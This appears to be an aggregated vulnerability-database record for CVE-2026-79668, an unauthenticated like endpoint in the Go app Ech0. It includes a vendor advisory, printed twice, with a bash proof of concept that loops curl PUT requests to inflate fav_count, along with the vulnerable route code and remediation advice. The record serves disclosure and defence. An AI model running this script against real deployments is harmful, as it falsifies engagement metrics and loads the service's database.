{"id":"CVE-2026-79668","aliases":["EUVD-2026-65446","GHSA-7v7f-8gw6-2q2x","GHSA-rgj7-vg8v-j4wr","GO-2026-5623"],"status":"published","title":"Ech0 before 4.7.3 Unauthenticated Like Endpoint Metric Inflation","description":"Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00434,"percentile":0.37955,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-306","CWE-862"],"published":"2026-05-07T21:21:21Z","modified":"2026-10-28T02:30:40Z","fixes":[{"ecosystem":"Go","package":"github.com/lin-snow/ech0","fixed_in":["1.4.8-0.20260503040728-a7e8b8e84bd1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.8-0.20260503040728-a7e8b8e84bd1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.8-0.20260503040728-a7e8b8e84bd1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.8-0.20260503040728-a7e8b8e84bd1"}]}]}],"products":[{"vendor":"lin-snow","product":"ech0"}],"references":[{"url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-rgj7-vg8v-j4wr","tags":["vendor-advisory","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/ech0-before-unauthenticated-like-endpoint-metric-inflation","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79668","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7v7f-8gw6-2q2x"},{"url":"https://github.com/lin-snow/Ech0/commit/a7e8b8e84bd1e3db090dfb720f2c6c433356b442","tags":["web"]},{"url":"https://github.com/advisories/GHSA-rgj7-vg8v-j4wr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79668.json","tags":["advisory"]},{"url":"https://github.com/lin-snow/Ech0","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-79668","title":"Ech0 before 4.7.3 Unauthenticated Like Endpoint Metric Inflation","description":"Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.","status":"published","published":"2026-08-25T11:33:30.13Z","modified":"2026-08-26T16:11:48.745Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T13:50:27.582139Z"}],"euvd":[{"id":"EUVD-2026-65446","description":"Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.","status":"published","published":"2026-08-25T11:33:30Z","modified":"2026-08-26T16:11:48Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:01:30.542287Z"}],"ghsa":[{"id":"GHSA-7v7f-8gw6-2q2x","title":"Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id...","description":"Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.","status":"published","published":"2026-08-25T12:31:27Z","modified":"2026-08-25T12:31:34Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T15:10:56.831918Z"},{"id":"GHSA-rgj7-vg8v-j4wr","title":"Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation","description":"### Summary\n\n**No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests.\n\n### Description\n\n**Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction—no viewer/user binding.\n\n**Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.\n\n**Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) → send **unauthenticated** `PUT` repeatedly → **`fav_count`** increases linearly.\n\n### Affected files\n\n| Public route registration | `internal/router/echo.go` |\n| Like mutation (no auth check) | `internal/service/echo/echo.go` |\n| Handler | `internal/handler/echo/echo.go` |\n\n### Vulnerable / relevant code\n\n**Public PUT route:**\n\n```11:13:Ech0/internal/router/echo.go\n\t// Public\n\tappRouterGroup.PublicRouterGroup.PUT(\"/echo/like/:id\", h.EchoHandler.LikeEcho())\n\tappRouterGroup.PublicRouterGroup.GET(\"/tags\", h.EchoHandler.GetAllTags())\n```\n\n**Service does not use viewer / rate limit:**\n\n```244:248:Ech0/internal/service/echo/echo.go\nfunc (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {\n\treturn echoService.transactor.Run(ctx, func(txCtx context.Context) error {\n\t\treturn echoService.echoRepository.LikeEcho(txCtx, id)\n\t})\n}\n```\n\n### Execution flow\n\n1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI).\n2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header.\n3. Gin matches **public** route → handler → `EchoService.LikeEcho` → DB increments **`fav_count`**.\n4. Repeat N times → count increases by N.\n\n### Proof of concept\n\n```bash\nBASE=\"http://127.0.0.1:6277\"\n\nOWNER_TOKEN=$(curl -sS -X POST \"$BASE/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"owner\",\"password\":\"OwnerPass123\"}' | jq -r '.data')\n\nECHO_ID=$(curl -sS \"$BASE/api/echo/page?page=1\u0026page_size=1\" \\\n  -H \"Authorization: Bearer $OWNER_TOKEN\" | jq -r '.data.items[0].id')\n\n# Single unauthenticated like\ncurl -sS -w \"\\nHTTP:%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\n\n# Inflate (e.g. 55 times); expect HTTP 200 each time\nfor i in $(seq 1 55); do\n  curl -sS -o /dev/null -w \"%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\ndone\n\n# Observe fav_count\ncurl -sS \"$BASE/api/echo/$ECHO_ID\" | jq '.data | {id, fav_count}'\n```\n\n**Observed proof (manual test):**\n\n- Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `点赞Echo成功`, `code:1`).\n- **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**.\n\u003cimg width=\"1109\" height=\"188\" alt=\"Screenshot 2026-04-01 105522\" src=\"https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c\" /\u003e\n\n\n### Impact\n\n**Like counts and ranking/social proof** can be falsified; feeds or “popular” logic tied to `fav_count` are untrustworthy. \nhigh-volume loops add DB write load; possible abuse against availability at scale. \n\n**Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests.\n\n## Remediation \n Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.","status":"published","published":"2026-05-07T21:21:21Z","modified":"2026-05-07T21:21:21Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-306","CWE-862"],"updated_at":"2026-11-02T14:40:03.762927Z"}],"nvd":[{"id":"CVE-2026-79668","description":"Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.","status":"published","published":"2026-08-25T12:16:34.967Z","modified":"2026-08-31T20:38:54.34Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T14:12:41.347728Z"}],"osv":[{"id":"CVE-2026-79668","title":"Ech0 before 4.7.3 Unauthenticated Like Endpoint Metric Inflation","description":"Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.","status":"published","published":"2026-08-25T11:33:30.13Z","modified":"2026-10-28T02:30:40.925851696Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"GHSA-rgj7-vg8v-j4wr","title":"Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation","description":"### Summary\n\n**No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests.\n\n### Description\n\n**Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction—no viewer/user binding.\n\n**Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.\n\n**Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) → send **unauthenticated** `PUT` repeatedly → **`fav_count`** increases linearly.\n\n### Affected files\n\n| Public route registration | `internal/router/echo.go` |\n| Like mutation (no auth check) | `internal/service/echo/echo.go` |\n| Handler | `internal/handler/echo/echo.go` |\n\n### Vulnerable / relevant code\n\n**Public PUT route:**\n\n```11:13:Ech0/internal/router/echo.go\n\t// Public\n\tappRouterGroup.PublicRouterGroup.PUT(\"/echo/like/:id\", h.EchoHandler.LikeEcho())\n\tappRouterGroup.PublicRouterGroup.GET(\"/tags\", h.EchoHandler.GetAllTags())\n```\n\n**Service does not use viewer / rate limit:**\n\n```244:248:Ech0/internal/service/echo/echo.go\nfunc (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {\n\treturn echoService.transactor.Run(ctx, func(txCtx context.Context) error {\n\t\treturn echoService.echoRepository.LikeEcho(txCtx, id)\n\t})\n}\n```\n\n### Execution flow\n\n1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI).\n2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header.\n3. Gin matches **public** route → handler → `EchoService.LikeEcho` → DB increments **`fav_count`**.\n4. Repeat N times → count increases by N.\n\n### Proof of concept\n\n```bash\nBASE=\"http://127.0.0.1:6277\"\n\nOWNER_TOKEN=$(curl -sS -X POST \"$BASE/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"owner\",\"password\":\"OwnerPass123\"}' | jq -r '.data')\n\nECHO_ID=$(curl -sS \"$BASE/api/echo/page?page=1\u0026page_size=1\" \\\n  -H \"Authorization: Bearer $OWNER_TOKEN\" | jq -r '.data.items[0].id')\n\n# Single unauthenticated like\ncurl -sS -w \"\\nHTTP:%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\n\n# Inflate (e.g. 55 times); expect HTTP 200 each time\nfor i in $(seq 1 55); do\n  curl -sS -o /dev/null -w \"%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\ndone\n\n# Observe fav_count\ncurl -sS \"$BASE/api/echo/$ECHO_ID\" | jq '.data | {id, fav_count}'\n```\n\n**Observed proof (manual test):**\n\n- Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `点赞Echo成功`, `code:1`).\n- **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**.\n\u003cimg width=\"1109\" height=\"188\" alt=\"Screenshot 2026-04-01 105522\" src=\"https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c\" /\u003e\n\n\n### Impact\n\n**Like counts and ranking/social proof** can be falsified; feeds or “popular” logic tied to `fav_count` are untrustworthy. \nhigh-volume loops add DB write load; possible abuse against availability at scale. \n\n**Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests.\n\n## Remediation \n Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.","status":"published","published":"2026-05-07T21:21:21Z","modified":"2026-08-27T04:10:42.343289238Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-306","CWE-862"],"updated_at":"2026-11-02T15:46:55.877614Z"},{"id":"GO-2026-5623","title":"Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation in github.com/lin-snow/ech0","description":"Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation in github.com/lin-snow/ech0","status":"published","published":"2026-06-25T22:34:34Z","modified":"2026-08-27T04:10:42.343289238Z","updated_at":"2026-11-02T15:47:02.838915Z"}]}}